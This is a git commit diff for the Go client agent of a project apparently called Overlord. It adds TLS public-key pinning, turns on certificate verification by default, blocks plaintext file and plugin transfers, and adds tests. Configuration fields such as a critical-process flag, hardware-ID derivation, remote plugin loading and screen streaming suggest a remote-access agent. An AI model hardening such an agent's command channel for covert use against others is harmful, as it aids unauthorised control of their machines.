pinning + new version of backups

This commit is contained in:
KingKDot
2026-07-30 14:03:16 -05:00
parent 477b9a5353
commit 2669ab1388
32 changed files with 1527 additions and 133 deletions
+5
View File
@@ -12,6 +12,11 @@ OVERLORD_SERVER=wss://your-server.com:5173
# OVERLORD_TLS_CA=./certs/server.crt
OVERLORD_TLS_INSECURE_SKIP_VERIFY=false
# Stronger server identity verification (recommended). Comma-separate the
# current and next SHA-256 SPKI pins during certificate-key rotation.
# Generated agents receive the active in-process server pin automatically.
# OVERLORD_TLS_SPKI_PINS=base64-sha256-current,base64-sha256-next
# Client certificate for mutual TLS (optional, advanced)
# OVERLORD_TLS_CLIENT_CERT=./certs/client.crt
# OVERLORD_TLS_CLIENT_KEY=./certs/client.key
+25 -1
View File
@@ -34,6 +34,7 @@ var DefaultSleepSeconds = "0"
var DefaultCriticalProcess = "false"
var DefaultFetchPublicIP = "false"
var DefaultSecureLogPublicKey = ""
var DefaultTLSSPKIPins = ""
const settingsFile = "config/settings.json"
const serverIndexFile = "config/server_index.json"
@@ -71,6 +72,7 @@ type Config struct {
TLSCAPath string
TLSClientCert string
TLSClientKey string
TLSSPKIPins []string
AgentToken string
BuildTag string
SleepSeconds int
@@ -177,13 +179,17 @@ func Load() Config {
fetchPublicIP = isTruthy(v)
}
tlsInsecureSkipVerify := true
tlsInsecureSkipVerify := false
if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" {
tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes"
}
tlsCAPath := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CA"))
tlsClientCert := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_CERT"))
tlsClientKey := strings.TrimSpace(os.Getenv("OVERLORD_TLS_CLIENT_KEY"))
tlsSPKIPins := parseCommaList(firstNonEmpty(
strings.TrimSpace(os.Getenv("OVERLORD_TLS_SPKI_PINS")),
DefaultTLSSPKIPins,
))
agentToken := strings.TrimSpace(os.Getenv("OVERLORD_AGENT_TOKEN"))
if agentToken == "" {
agentToken = strings.TrimSpace(DefaultAgentToken)
@@ -220,6 +226,7 @@ func Load() Config {
TLSCAPath: tlsCAPath,
TLSClientCert: tlsClientCert,
TLSClientKey: tlsClientKey,
TLSSPKIPins: tlsSPKIPins,
AgentToken: agentToken,
BuildTag: strings.TrimSpace(DefaultBuildTag),
SleepSeconds: parseSleepSeconds(DefaultSleepSeconds),
@@ -358,6 +365,23 @@ func firstNonEmpty(values ...string) string {
return ""
}
func parseCommaList(value string) []string {
seen := make(map[string]struct{})
result := make([]string, 0)
for _, item := range strings.Split(value, ",") {
item = strings.TrimSpace(item)
if item == "" {
continue
}
if _, exists := seen[item]; exists {
continue
}
seen[item] = struct{}{}
result = append(result, item)
}
return result
}
func deriveHWID() string {
machineID := platformMachineID()
if machineID != "" {
@@ -0,0 +1,28 @@
package config
import "testing"
func TestTLSVerificationIsSecureByDefault(t *testing.T) {
originalPins := DefaultTLSSPKIPins
DefaultTLSSPKIPins = "pin-one,pin-two,pin-one"
t.Cleanup(func() { DefaultTLSSPKIPins = originalPins })
t.Setenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY", "")
t.Setenv("OVERLORD_TLS_SPKI_PINS", "")
cfg := Load()
if cfg.TLSInsecureSkipVerify {
t.Fatal("TLS certificate verification must be enabled by default")
}
if len(cfg.TLSSPKIPins) != 2 || cfg.TLSSPKIPins[0] != "pin-one" || cfg.TLSSPKIPins[1] != "pin-two" {
t.Fatalf("unexpected embedded TLS pins: %#v", cfg.TLSSPKIPins)
}
}
func TestTLSInsecureModeRequiresExplicitOptIn(t *testing.T) {
t.Setenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY", "true")
cfg := Load()
if !cfg.TLSInsecureSkipVerify {
t.Fatal("explicit development opt-out was not honored")
}
}
+19 -14
View File
@@ -8,8 +8,6 @@ import (
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"encoding/hex"
"errors"
"fmt"
@@ -29,6 +27,7 @@ import (
"unicode/utf8"
agentRuntime "overlord-client/cmd/agent/runtime"
agentTLS "overlord-client/cmd/agent/tlsconfig"
"overlord-client/cmd/agent/wire"
)
@@ -769,17 +768,13 @@ func HandleFileUploadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "unsupported upload url scheme"})
}
tlsConfig := &tls.Config{InsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify, MinVersion: tls.VersionTLS12}
if caPath := strings.TrimSpace(env.Cfg.TLSCAPath); caPath != "" {
caBytes, err := os.ReadFile(caPath)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("failed to read TLS CA: %v", err)})
}
pool := x509.NewCertPool()
if !pool.AppendCertsFromPEM(caBytes) {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "failed to parse TLS CA"})
}
tlsConfig.RootCAs = pool
tlsConfig, err := agentTLS.Build(agentTLS.Options{
InsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
CAPath: env.Cfg.TLSCAPath,
SPKIPins: env.Cfg.TLSSPKIPins,
})
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("invalid TLS configuration: %v", err)})
}
transport := &http.Transport{
@@ -986,6 +981,9 @@ func resolveUploadPullURL(env *agentRuntime.Env, raw string) (string, error) {
if scheme != "http" && scheme != "https" {
return "", fmt.Errorf("unsupported upload url scheme: %s", parsed.Scheme)
}
if scheme == "http" && !env.Cfg.TLSInsecureSkipVerify {
return "", errors.New("plaintext file transfers are disabled; use https")
}
if !strings.HasPrefix(parsed.Path, "/api/file/upload/pull/") {
return parsed.String(), nil
}
@@ -1010,8 +1008,15 @@ func resolveUploadPullURL(env *agentRuntime.Env, raw string) (string, error) {
case "wss":
server.Scheme = "https"
case "ws":
if !env.Cfg.TLSInsecureSkipVerify {
return "", errors.New("plaintext file transfers are disabled; use wss")
}
server.Scheme = "http"
case "https", "http":
case "https":
case "http":
if !env.Cfg.TLSInsecureSkipVerify {
return "", errors.New("plaintext file transfers are disabled; use https")
}
default:
return "", fmt.Errorf("unsupported agent server scheme: %s", server.Scheme)
}
@@ -545,7 +545,8 @@ func TestHandleFileUploadHTTP_RewritesUploadPullURLToAgentServer(t *testing.T) {
env := &rt.Env{
Conn: writer,
Cfg: config.Config{
ServerURLs: []string{strings.Replace(ts.URL, "http://", "ws://", 1)},
ServerURLs: []string{strings.Replace(ts.URL, "http://", "ws://", 1)},
TLSInsecureSkipVerify: true,
},
}
@@ -2,19 +2,17 @@ package handlers
import (
"context"
"crypto/tls"
"crypto/x509"
"errors"
"fmt"
"io"
"log"
"net/http"
"net/url"
"os"
"strings"
"overlord-client/cmd/agent/plugins"
agentRuntime "overlord-client/cmd/agent/runtime"
agentTLS "overlord-client/cmd/agent/tlsconfig"
"overlord-client/cmd/agent/wire"
)
@@ -31,17 +29,13 @@ func HandlePluginLoadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
tlsConfig := &tls.Config{InsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify, MinVersion: tls.VersionTLS12}
if caPath := strings.TrimSpace(env.Cfg.TLSCAPath); caPath != "" {
caBytes, err := os.ReadFile(caPath)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("failed to read TLS CA: %v", err)})
}
pool := x509.NewCertPool()
if !pool.AppendCertsFromPEM(caBytes) {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "failed to parse TLS CA"})
}
tlsConfig.RootCAs = pool
tlsConfig, err := agentTLS.Build(agentTLS.Options{
InsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
CAPath: env.Cfg.TLSCAPath,
SPKIPins: env.Cfg.TLSSPKIPins,
})
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: fmt.Sprintf("invalid TLS configuration: %v", err)})
}
client := &http.Client{Transport: &http.Transport{TLSClientConfig: tlsConfig}}
@@ -114,6 +108,9 @@ func resolvePluginPullURL(env *agentRuntime.Env, raw string) (string, error) {
if scheme != "http" && scheme != "https" {
return "", fmt.Errorf("unsupported plugin pull scheme: %s", parsed.Scheme)
}
if scheme == "http" && !env.Cfg.TLSInsecureSkipVerify {
return "", errors.New("plaintext plugin downloads are disabled; use https")
}
return parsed.String(), nil
}
@@ -132,8 +129,15 @@ func resolvePluginPullURL(env *agentRuntime.Env, raw string) (string, error) {
case "wss":
server.Scheme = "https"
case "ws":
if !env.Cfg.TLSInsecureSkipVerify {
return "", errors.New("plaintext plugin downloads are disabled; use wss")
}
server.Scheme = "http"
case "https", "http":
case "https":
case "http":
if !env.Cfg.TLSInsecureSkipVerify {
return "", errors.New("plaintext plugin downloads are disabled; use https")
}
default:
return "", fmt.Errorf("unsupported agent server scheme: %s", server.Scheme)
}
@@ -0,0 +1,48 @@
package handlers
import (
"strings"
"testing"
"overlord-client/cmd/agent/config"
agentRuntime "overlord-client/cmd/agent/runtime"
)
func TestSensitiveTransfersRejectPlaintextByDefault(t *testing.T) {
env := &agentRuntime.Env{Cfg: config.Config{
ServerURLs: []string{"ws://server.example.test:5173"},
}}
if _, err := resolveUploadPullURL(env, "/api/file/upload/pull/id"); err == nil ||
!strings.Contains(err.Error(), "plaintext") {
t.Fatalf("expected plaintext file transfer rejection, got %v", err)
}
if _, err := resolvePluginPullURL(env, "/api/plugins/pull/id"); err == nil ||
!strings.Contains(err.Error(), "plaintext") {
t.Fatalf("expected plaintext plugin transfer rejection, got %v", err)
}
if _, err := buildWhipURL(env, "/api/webrtc/whip"); err == nil ||
!strings.Contains(err.Error(), "plaintext") {
t.Fatalf("expected plaintext WebRTC signaling rejection, got %v", err)
}
}
func TestSensitiveTransfersAllowExplicitDevelopmentOptOut(t *testing.T) {
env := &agentRuntime.Env{Cfg: config.Config{
ServerURLs: []string{"ws://127.0.0.1:5173"},
TLSInsecureSkipVerify: true,
}}
if resolved, err := resolveUploadPullURL(env, "/api/file/upload/pull/id"); err != nil ||
!strings.HasPrefix(resolved, "http://") {
t.Fatalf("expected explicit plaintext file transfer, got %q, %v", resolved, err)
}
if resolved, err := resolvePluginPullURL(env, "/api/plugins/pull/id"); err != nil ||
!strings.HasPrefix(resolved, "http://") {
t.Fatalf("expected explicit plaintext plugin transfer, got %q, %v", resolved, err)
}
if resolved, err := buildWhipURL(env, "/api/webrtc/whip"); err != nil ||
!strings.HasPrefix(resolved, "http://") {
t.Fatalf("expected explicit plaintext signaling, got %q, %v", resolved, err)
}
}
@@ -103,6 +103,7 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
PublishToken: token,
TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
TLSCAPath: env.Cfg.TLSCAPath,
TLSSPKIPins: env.Cfg.TLSSPKIPins,
ICEServers: parseICEServers(payload["iceServers"]),
HasVideo: hasVideo,
HasAudio: hasAudio,
@@ -309,7 +310,17 @@ func buildWhipURL(env *runtime.Env, whipPath string) (string, error) {
case "wss":
base.Scheme = "https"
case "ws":
if !env.Cfg.TLSInsecureSkipVerify {
return "", fmt.Errorf("plaintext WebRTC signaling is disabled; use wss")
}
base.Scheme = "http"
case "http":
if !env.Cfg.TLSInsecureSkipVerify {
return "", fmt.Errorf("plaintext WebRTC signaling is disabled; use https")
}
case "https":
default:
return "", fmt.Errorf("unsupported WebRTC signaling scheme: %s", base.Scheme)
}
if !strings.HasPrefix(whipPath, "/") {
whipPath = "/" + whipPath
+25 -32
View File
@@ -3,7 +3,6 @@ package main
import (
"context"
"crypto/tls"
"crypto/x509"
"encoding/base64"
"errors"
"fmt"
@@ -27,6 +26,7 @@ import (
"overlord-client/cmd/agent/plugins"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/sysinfo"
agentTLS "overlord-client/cmd/agent/tlsconfig"
"overlord-client/cmd/agent/wire"
"nhooyr.io/websocket"
@@ -51,7 +51,11 @@ func runClient(cfg config.Config) {
}
}
transport := createHTTPTransport(cfg)
transport, err := createHTTPTransport(cfg)
if err != nil {
log.Printf("[TLS] refusing to start with invalid TLS configuration: %v", err)
return
}
currentIndex := cfg.ServerIndex
consecutiveFailures := 0
var loggedTLS bool
@@ -67,6 +71,12 @@ func runClient(cfg config.Config) {
}
currentServer := cfg.ServerURLs[currentIndex]
if strings.HasPrefix(strings.ToLower(currentServer), "ws://") && !cfg.TLSInsecureSkipVerify {
log.Printf("[TLS] refusing plaintext WebSocket server %s; use wss://", currentServer)
rotateToNextServer(&currentIndex, cfg.ServerURLs)
time.Sleep(backoff)
continue
}
ctx, cancel := context.WithCancel(context.Background())
url := fmt.Sprintf("%s/api/clients/%s/stream/ws?role=client", currentServer, cfg.ID)
@@ -302,38 +312,21 @@ func refreshServerURLsFromRaw(cfg *config.Config) bool {
return true
}
func createHTTPTransport(cfg config.Config) *http.Transport {
tlsConfig := &tls.Config{
func createHTTPTransport(cfg config.Config) (*http.Transport, error) {
tlsConfig, err := agentTLS.Build(agentTLS.Options{
InsecureSkipVerify: cfg.TLSInsecureSkipVerify,
MinVersion: tls.VersionTLS12,
CAPath: cfg.TLSCAPath,
SPKIPins: cfg.TLSSPKIPins,
ClientCertPath: cfg.TLSClientCert,
ClientKeyPath: cfg.TLSClientKey,
})
if err != nil {
return nil, err
}
if cfg.TLSCAPath != "" {
caCert, err := os.ReadFile(cfg.TLSCAPath)
if err != nil {
log.Printf("[TLS] WARNING: Failed to read CA certificate from %s: %v", cfg.TLSCAPath, err)
} else {
caCertPool := x509.NewCertPool()
if caCertPool.AppendCertsFromPEM(caCert) {
tlsConfig.RootCAs = caCertPool
log.Printf("[TLS] Loaded custom CA certificate from %s", cfg.TLSCAPath)
} else {
log.Printf("[TLS] WARNING: Failed to parse CA certificate from %s", cfg.TLSCAPath)
}
}
}
if cfg.TLSClientCert != "" && cfg.TLSClientKey != "" {
cert, err := tls.LoadX509KeyPair(cfg.TLSClientCert, cfg.TLSClientKey)
if err != nil {
log.Printf("[TLS] WARNING: Failed to load client certificate: %v", err)
} else {
tlsConfig.Certificates = []tls.Certificate{cert}
log.Printf("[TLS] Loaded client certificate for mutual TLS")
}
}
if cfg.TLSInsecureSkipVerify {
if len(cfg.TLSSPKIPins) > 0 {
log.Printf("[TLS] Server identity pinning enabled with %d trusted SPKI pin(s)", len(cfg.TLSSPKIPins))
} else if cfg.TLSInsecureSkipVerify {
log.Printf("[TLS] WARNING: Certificate verification is DISABLED. This is insecure!")
}
@@ -343,7 +336,7 @@ func createHTTPTransport(cfg config.Config) *http.Transport {
Timeout: 30 * time.Second,
KeepAlive: 15 * time.Second,
}).DialContext
return transport
return transport, nil
}
func classifyDialError(err error) string {
@@ -0,0 +1,106 @@
package tlsconfig
import (
"bytes"
"crypto/sha256"
"crypto/tls"
"crypto/x509"
"encoding/base64"
"errors"
"fmt"
"os"
"strings"
"time"
)
type Options struct {
InsecureSkipVerify bool
CAPath string
SPKIPins []string
ClientCertPath string
ClientKeyPath string
}
func Build(options Options) (*tls.Config, error) {
pins, err := decodePins(options.SPKIPins)
if err != nil {
return nil, err
}
tlsConfig := &tls.Config{
MinVersion: tls.VersionTLS12,
}
if strings.TrimSpace(options.CAPath) != "" {
caCert, err := os.ReadFile(options.CAPath)
if err != nil {
return nil, fmt.Errorf("read TLS CA: %w", err)
}
caCertPool := x509.NewCertPool()
if !caCertPool.AppendCertsFromPEM(caCert) {
return nil, errors.New("parse TLS CA: no certificates found")
}
tlsConfig.RootCAs = caCertPool
}
if strings.TrimSpace(options.ClientCertPath) != "" || strings.TrimSpace(options.ClientKeyPath) != "" {
if strings.TrimSpace(options.ClientCertPath) == "" || strings.TrimSpace(options.ClientKeyPath) == "" {
return nil, errors.New("both TLS client certificate and key are required")
}
certificate, err := tls.LoadX509KeyPair(options.ClientCertPath, options.ClientKeyPath)
if err != nil {
return nil, fmt.Errorf("load TLS client certificate: %w", err)
}
tlsConfig.Certificates = []tls.Certificate{certificate}
}
if len(pins) > 0 {
// Verification is performed below against an embedded application pin.
// This intentionally supports self-signed certificates without trusting
// arbitrary certificates from the network or host trust store.
tlsConfig.InsecureSkipVerify = true //nolint:gosec
tlsConfig.VerifyConnection = func(state tls.ConnectionState) error {
return verifyPinnedConnection(state, pins, time.Now())
}
return tlsConfig, nil
}
tlsConfig.InsecureSkipVerify = options.InsecureSkipVerify //nolint:gosec
return tlsConfig, nil
}
func decodePins(values []string) ([][]byte, error) {
result := make([][]byte, 0, len(values))
for _, value := range values {
value = strings.TrimSpace(strings.TrimPrefix(value, "sha256/"))
if value == "" {
continue
}
decoded, err := base64.StdEncoding.DecodeString(value)
if err != nil || len(decoded) != sha256.Size {
return nil, fmt.Errorf("invalid TLS SPKI pin %q", value)
}
result = append(result, decoded)
}
return result, nil
}
func verifyPinnedConnection(state tls.ConnectionState, pins [][]byte, now time.Time) error {
if len(state.PeerCertificates) == 0 {
return errors.New("TLS peer did not provide a certificate")
}
leaf := state.PeerCertificates[0]
if now.Before(leaf.NotBefore) || now.After(leaf.NotAfter) {
return fmt.Errorf("TLS peer certificate is not valid at %s", now.UTC().Format(time.RFC3339))
}
sum := sha256.Sum256(leaf.RawSubjectPublicKeyInfo)
for _, pin := range pins {
if bytes.Equal(sum[:], pin) {
return nil
}
}
return fmt.Errorf(
"TLS server identity pin mismatch (received sha256/%s)",
base64.StdEncoding.EncodeToString(sum[:]),
)
}
@@ -0,0 +1,100 @@
package tlsconfig
import (
"crypto/sha256"
"crypto/tls"
"encoding/base64"
"io"
"net/http"
"net/http/httptest"
"strings"
"testing"
)
func pinForCertificate(certificate *tls.Certificate) string {
sum := sha256.Sum256(certificate.Leaf.RawSubjectPublicKeyInfo)
return base64.StdEncoding.EncodeToString(sum[:])
}
func clientForConfig(config *tls.Config) *http.Client {
return &http.Client{
Transport: &http.Transport{TLSClientConfig: config},
}
}
func TestPinnedServerIdentity(t *testing.T) {
server := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
_, _ = io.WriteString(w, "ok")
}))
defer server.Close()
correctPin := pinForCertificate(&server.TLS.Certificates[0])
config, err := Build(Options{SPKIPins: []string{correctPin}})
if err != nil {
t.Fatalf("Build failed: %v", err)
}
response, err := clientForConfig(config).Get(server.URL)
if err != nil {
t.Fatalf("pinned request failed: %v", err)
}
defer response.Body.Close()
if response.StatusCode != http.StatusOK {
t.Fatalf("unexpected status: %d", response.StatusCode)
}
}
func TestPinnedServerRejectsRogueKey(t *testing.T) {
server := httptest.NewTLSServer(http.HandlerFunc(func(http.ResponseWriter, *http.Request) {}))
defer server.Close()
roguePin := base64.StdEncoding.EncodeToString(bytesOf(sha256.Size, 0x42))
config, err := Build(Options{SPKIPins: []string{roguePin}})
if err != nil {
t.Fatalf("Build failed: %v", err)
}
_, err = clientForConfig(config).Get(server.URL)
if err == nil || !strings.Contains(err.Error(), "identity pin mismatch") {
t.Fatalf("expected pin mismatch, got %v", err)
}
}
func TestInvalidPinFailsClosed(t *testing.T) {
if _, err := Build(Options{SPKIPins: []string{"not-a-pin"}}); err == nil {
t.Fatal("expected invalid pin to be rejected")
}
}
func TestExplicitInsecureModeRemainsOptIn(t *testing.T) {
server := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusNoContent)
}))
defer server.Close()
secureConfig, err := Build(Options{})
if err != nil {
t.Fatalf("Build secure config failed: %v", err)
}
if _, err := clientForConfig(secureConfig).Get(server.URL); err == nil {
t.Fatal("untrusted self-signed certificate unexpectedly succeeded")
}
insecureConfig, err := Build(Options{InsecureSkipVerify: true})
if err != nil {
t.Fatalf("Build insecure config failed: %v", err)
}
response, err := clientForConfig(insecureConfig).Get(server.URL)
if err != nil {
t.Fatalf("explicit insecure request failed: %v", err)
}
response.Body.Close()
}
func bytesOf(count int, value byte) []byte {
result := make([]byte, count)
for i := range result {
result[i] = value
}
return result
}
+2 -1
View File
@@ -276,7 +276,8 @@ type Options struct {
// TLSInsecureSkipVerify mirrors the agent's existing TLS config.
TLSInsecureSkipVerify bool
// TLSCAPath is an optional custom CA bundle.
TLSCAPath string
TLSCAPath string
TLSSPKIPins []string
// ICEServers contains the server-issued, short-lived Coturn configuration.
ICEServers []ICEServer
// HasVideo / HasAudio select which tracks to add to the peer connection.
@@ -5,8 +5,6 @@ package webrtcpub
import (
"bytes"
"context"
"crypto/tls"
"crypto/x509"
"errors"
"fmt"
"io"
@@ -19,6 +17,8 @@ import (
"sync/atomic"
"time"
agentTLS "overlord-client/cmd/agent/tlsconfig"
"github.com/pion/interceptor"
"github.com/pion/rtcp"
"github.com/pion/webrtc/v4"
@@ -133,7 +133,10 @@ func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) {
}
Stop(kind)
httpClient := buildHTTPClient(opts)
httpClient, err := buildHTTPClient(opts)
if err != nil {
return nil, fmt.Errorf("webrtcpub: invalid TLS configuration: %w", err)
}
mediaEngine := &webrtc.MediaEngine{}
if opts.HasVideo {
@@ -379,23 +382,19 @@ func postWhip(ctx context.Context, client *http.Client, whipURL, token, sdp stri
return string(body), resource, nil
}
func buildHTTPClient(opts Options) *http.Client {
tlsCfg := &tls.Config{
func buildHTTPClient(opts Options) (*http.Client, error) {
tlsCfg, err := agentTLS.Build(agentTLS.Options{
InsecureSkipVerify: opts.TLSInsecureSkipVerify,
MinVersion: tls.VersionTLS12,
}
if path := strings.TrimSpace(opts.TLSCAPath); path != "" {
if pem, err := os.ReadFile(path); err == nil {
pool := x509.NewCertPool()
if pool.AppendCertsFromPEM(pem) {
tlsCfg.RootCAs = pool
}
}
CAPath: opts.TLSCAPath,
SPKIPins: opts.TLSSPKIPins,
})
if err != nil {
return nil, err
}
return &http.Client{
Timeout: 15 * time.Second,
Transport: &http.Transport{
TLSClientConfig: tlsCfg,
},
}
}, nil
}